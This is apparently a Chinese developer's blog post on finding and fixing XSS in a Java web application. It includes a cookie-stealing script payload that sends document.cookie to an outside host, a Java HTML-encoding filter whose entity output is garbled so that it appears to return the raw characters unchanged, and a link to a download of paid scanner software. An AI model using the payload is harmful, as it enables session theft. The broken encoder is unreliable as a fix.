发现问题
最近我们的服务器频繁的遭到黑客攻击,真是让人头疼啊,痛定思痛,仔细想想为什么我们会被攻击呢,肯定是我们的代码有漏洞啊,那么我们如何检测我们站点的漏洞呢,首先比较大众的就是通过360网站安全检测(http://webscan.360.cn/),但是发现这个太简单了,不够专业,那么我们再来一个专业的Acunetix Web Vulnerability Scanner,这个软件是收费的,但是我是一个穷人所以就不买了,请原谅。如果你也很穷请到这里下载试用,链接: http://pan.baidu.com/s/1qWr1maC 密码: bvon。
扫描后,发现站点存在的主要漏洞XSS CSS Cross SiteScript,XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。XSS攻击类似于SQL注入攻击。看来危害挺大,我们必须修补下了。那么如何修补呢,首先我们的知道他是如何攻击的:
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>我们直接输入<script>window.open(“www.jwdstef.com?param=”+document.cookie)</script>,当用户查看这个页面的时候,就会请求www.jwdstef.com这个站点,这个站点是我自己搭建的专门用来收集用户cookie的,这样我就盗取了用户的cookie。
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容:<input type="text" name="age" value="">
</body>
</html>
修补xss
我们知道如何攻击,就可以想办法修补了,我们首先要过滤特殊字符如:<>"",‘’ 空格等,这种方法我们叫他Html encode
less-than character (<) |
< |
greater-than character (>) |
> |
ampersand character (&) |
& |
double-quote character (") |
" |
space character( ) |
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
html encode实现方法比较简单,可以通过过滤器来实现,不论你项目使用的什么框架(servlet,struts2,springmvc)我们都可以通过filter来实现。
private static String htmlEncode(char c) {这种方法不够优雅,为什么这么说呢,因为我们把他转了后,页面上还得用 fn:excapeXml("fff")转回来,麻烦,那我们来一个碉堡的方法,
switch(c) {
case '&':
return"&";
case '<':
return"<";
case '>':
return">";
case '"':
return""";
case ' ':
return" ";
default:
return c +"";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if(str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}
特殊字符全部转为全角特殊字符(Java 全角半角转换)。。。。哈哈,这样前台也不用转了,这个方法仔细想想确实够优雅。。。。。
这样我们也以最少的工作量完成了漏洞的修补。。为了防止黑客再次利用其他方法攻击我们的站点,我们不得不请来了大师为我们的代码和服务器开光
而且经过这次教训我们也强制要求代码的前面必须加上
//
// _oo8oo_
// o8888888o
// 88" . "88
// (| -_- |)
// 0\ = /0
// ___/'==='\___
// .' \\| |// '.
// / \\||| : |||// \
// / _||||| -:- |||||_ \
// | | \\\ - /// | |
// | \_| ''\---/'' |_/ |
// \ .-\__ '-' __/-. /
// ___'. .' /--.--\ '. .'___
// ."" '< '.___\_<|>_/___.' >' "".
// | | : `- \`.:`\ _ /`:.`/ -` : | |
// \ \ `-. \_ __\ /__ _/ .-` / /
// =====`-.____`.___ \_____/ ___.`____.-`=====
// `=---=`
//
//
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// 佛祖保佑 永不宕机/永无bug
哈哈,后面的都是开玩笑的,大家别当真。